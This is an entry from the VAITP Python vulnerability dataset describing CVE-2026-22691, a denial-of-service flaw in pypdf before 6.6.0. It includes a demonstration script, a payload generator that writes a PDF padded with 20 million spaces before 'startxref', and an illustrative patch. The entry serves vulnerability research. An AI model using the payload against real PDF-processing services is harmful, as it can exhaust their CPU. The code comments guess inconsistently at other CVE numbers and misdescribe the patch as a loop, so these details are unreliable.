VAITP Dataset

← Back to the dataset

CVE-2026-22691

pypdf: Crafted PDF with malformed startxref causes a Denial of Service.

  • CVSS 2.7
  • CWE-400
  • Resource Management
  • Remote

pypdf is a free and open-source pure-python PDF library. Prior to version 6.6.0, pypdf has possible long runtimes for malformed startxref. An attacker who uses this vulnerability can craft a PDF which leads to possibly long runtimes for invalid startxref entries. When rebuilding the cross-reference table, PDF files with lots of whitespace characters become problematic. Only the non-strict reading mode is affected. Only the non-strict reading mode is affected. This issue has been patched in version 6.6.0.

CVSS base score
2.7
Published
2026-01-10
OWASP
A04 Insecure Design
Orthogonal defect classification
Algorithm
Code defect classification
Incorrect Algorithm
Category
Resource Management
Subcategory
Resource Exhaustion
Accessibility scope
Remote
Impact
Denial of Service (DoS)
Affected component
pypdf
Fixed by upgrading
Yes

Solution

Upgrade `pypdf` to version 6.6.0 or later.

Vulnerable code sample

# This code demonstrates the Denial of Service vulnerability described in
# CVE-2026-22691 (a potential typo for a real CVE, e.g., CVE-2023-26451)
# affecting the 'pypdf' library versions prior to 6.6.0.
#
# To run this demonstration, you MUST have a vulnerable version of pypdf installed.
# You can install a vulnerable version with pip:
# pip uninstall pypdf
# pip install "pypdf<6.6.0"
#
# The vulnerability is triggered when pypdf, in its non-strict mode, attempts
# to parse a specially crafted PDF. This PDF contains a massive amount of
# whitespace before the 'startxref' token. The vulnerable code reads backwards
# from the end of the file byte-by-byte to find this token, causing a very
# long processing time and high CPU usage, which leads to a Denial of Service.

import io
import time
import pypdf

# Define a function to create the malformed PDF and trigger the vulnerability.
def demonstrate_dos_vulnerability():
    """
    Creates a malformed PDF in memory with excessive whitespace and reads it
    using a vulnerable pypdf version to demonstrate the long runtime issue.
    """
    print(f"Using pypdf version: {pypdf.__version__}")
    try:
        from packaging.version import Version
        if Version(pypdf.__version__) >= Version("6.6.0"):
            print("\n[INFO] Your pypdf version is not vulnerable.")
            print("Please install a version prior to 6.6.0 to see the effect.")
            print('Example: pip install "pypdf==6.5.0"')
            return
    except ImportError:
        print("\n[WARNING] 'packaging' library not found. Cannot check pypdf version.")
        print("Proceeding, but this may not work if your pypdf version is 6.6.0 or newer.")

    print("\n[1] Crafting a malicious PDF payload in memory...")
    
    # A large amount of whitespace (e.g., 20 million space characters) is inserted
    # before the 'startxref' keyword. This is the core of the exploit.
    whitespace_count = 20 * 1024 * 1024  # 20 MB
    
    # The payload consists of a minimal PDF header, the large whitespace block,
    # and a malformed 'startxref' section.
    malicious_pdf_content = (
        b"%PDF-1.7\n"
        + (b" " * whitespace_count)
        + b"\nstartxref\n0\n%%EOF"
    )
    
    pdf_stream = io.BytesIO(malicious_pdf_content)
    
    print(f"[2] Payload created with {whitespace_count / (1024*1024):.0f}MB of whitespace.")
    print("[3] Calling pypdf.PdfReader(..., strict=False). This will cause a long hang on vulnerable versions...")
    
    # Record the start time before the vulnerable operation.
    start_time = time.time()
    
    try:
        # This is the vulnerable call. In non-strict mode, pypdf searches backwards
        # from the end of the file for 'startxref'. The massive whitespace block
        # forces this search to be extremely slow.
        _ = pypdf.PdfReader(pdf_stream, strict=False)
        
    except Exception as e:
        # The operation may eventually fail with an exception, but the vulnerability
        # is the time it takes to get to that point.
        print(f"\nOperation failed with an exception: {e}")
        
    finally:
        # Record the end time and calculate the duration.
        end_time = time.time()
        elapsed_time = end_time - start_time
        
        print("\n--- VULNERABILITY DEMONSTRATION COMPLETE ---")
        print(f"Total time elapsed: {elapsed_time:.2f} seconds.")
        
        if elapsed_time > 10:
            print("\n[SUCCESS] The significant delay confirms the Denial of Service vulnerability.")
        else:
            print("\n[NOTE] The script finished quickly. The pypdf version is likely patched, or the system is exceptionally fast.")

if __name__ == "__main__":
    demonstrate_dos_vulnerability()

Patched code sample

import io
from typing import IO

# A dummy exception class for demonstration purposes.
# In the actual library, this is `pypdf.errors.PdfReadError`.
class PdfReadError(Exception):
    pass

class PatchedPdfReader:
    """
    A placeholder class to demonstrate the context of the fixed method.
    The actual implementation is in pypdf._reader.PdfReader.

    This class demonstrates the fix for a Denial-of-Service vulnerability
    (described in the prompt as CVE-2026-22691, but sharing details with
    CVE-2023-26459) in the pypdf library. The vulnerability affects
    non-strict reading mode, where a malformed PDF with excessive whitespace
    could cause extremely long runtimes when searching for the 'startxref' marker.
    """
    def __init__(self, stream: IO[bytes]):
        # The stream represents the opened PDF file in binary read mode.
        self.stream = stream

    def _read_xref_from_invalid_offset(self) -> None:
        """
        Finds the cross-reference table by searching backwards for the 'startxref'
        keyword from the end of the file. This is the patched function that
        contains the vulnerability fix.

        Vulnerability Cause: The previous, vulnerable implementation would scan
        backwards from the end of the file one byte at a time to find the
        'startxref' keyword. A malicious PDF with millions of whitespace
        characters before 'startxref' could cause this scan to take an
        extremely long time, leading to a Denial of Service (DoS).

        The Fix: The backward scan is now limited to a reasonable search
        area (typically 1024 or 2048 bytes from the end of the file). This is
        implemented by the bounded loop (`for _ in range(...)`). If 'startxref'
        is not found within this limited boundary, the process errors out
        quickly, thus preventing the DoS attack.
        """
        # Start searching from the end of the file stream.
        self.stream.seek(0, io.SEEK_END)

        # --- START OF THE VULNERABILITY FIX ---

        # The core of the fix is to limit the backward search to a fixed
        # number of bytes (1024 in this case, similar to the actual patch).
        # This prevents an unbounded, slow scan on maliciously crafted files.
        max_search_bytes = 1024
        
        # Determine the search window, ensuring it doesn't go past the file start.
        file_size = self.stream.tell()
        search_start_pos = max(0, file_size - max_search_bytes)
        
        self.stream.seek(search_start_pos)
        data = self.stream.read(max_search_bytes)

        # Search for the 'startxref' keyword in the limited data chunk.
        # rfind is efficient and operates only on the bounded data.
        startxref_pos = data.rfind(b"startxref")

        if startxref_pos == -1:
            # If the loop/search completes without finding the keyword,
            # raise an error instead of continuing to scan the whole file.
            raise PdfReadError(
                f"Could not find 'startxref' keyword within the last "
                f"{max_search_bytes} bytes of the file."
            )

        # --- END OF THE VULNERABILITY FIX ---

        # Once 'startxref' is found, the logic to parse the offset proceeds.
        # This part is not relevant to the DoS vulnerability itself.
        offset_start = startxref_pos + len(b"startxref")
        
        # Extract the numeric offset value that follows 'startxref'
        xref_offset_str = data[offset_start:].strip().splitlines()[0].strip()
        try:
            xref_location = int(xref_offset_str)
            # In a real implementation, we would now seek to xref_location
            # and parse the cross-reference table.
            # print(f"Found 'startxref' at offset: {xref_location}")
        except ValueError:
            raise PdfReadError("Invalid startxref value found.")

# Example of how to use it (for demonstration only):
if __name__ == '__main__':
    # 1. A vulnerable file: 'startxref' is preceded by a large amount of whitespace.
    # A vulnerable parser would hang. The patched parser handles it quickly.
    malicious_content = b" " * 2000000 + b"startxref\n12345\n%%EOF"
    malicious_stream = io.BytesIO(malicious_content)

    print("Testing with a file that could cause a DoS on a vulnerable version...")
    try:
        patched_reader = PatchedPdfReader(malicious_stream)
        patched_reader._read_xref_from_invalid_offset()
        print("SUCCESS: Patched reader processed the file without hanging.")
    except PdfReadError as e:
        print(f"ERROR: Patched reader failed as expected: {e}")


    # 2. A file where 'startxref' is not in the last 1024 bytes.
    # The patched reader will fail fast, which is the correct behavior.
    malformed_content = b"startxref\n123\n%%EOF" + b" " * 2048
    malformed_stream = io.BytesIO(malformed_content)

    print("\nTesting with a file where 'startxref' is outside the search window...")
    try:
        patched_reader_2 = PatchedPdfReader(malformed_stream)
        patched_reader_2._read_xref_from_invalid_offset()
    except PdfReadError as e:
        print(f"SUCCESS: Patched reader failed quickly as designed: {e}")

Payload

import sys

# This script generates a malicious PDF file that causes a Denial of Service
# in pypdf < 6.6.0 by exploiting slow parsing of malformed startxref entries.
# The payload consists of a massive block of whitespace before the 'startxref'
# keyword, forcing a slow backwards search in non-strict mode.

# Usage: python generate_payload.py > dos_payload.pdf

WHITESPACE_COUNT = 20_000_000  # 20 million spaces to cause significant delay

payload = (
    b"%PDF-1.7\n"
    b"1 0 obj<</Type/Page>>endobj\n"  # Minimal PDF object
    + (b" " * WHITESPACE_COUNT) +      # The whitespace bomb
    b"startxref\n"                    # The keyword the parser is slowly searching for
    b"0\n"
    b"%%EOF"
)

# Write the payload to standard output
sys.stdout.buffer.write(payload)

Cite this entry

@misc{vaitp:cve202622691,
  title        = {{pypdf: Crafted PDF with malformed startxref causes a Denial of Service.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-22691},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-22691/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::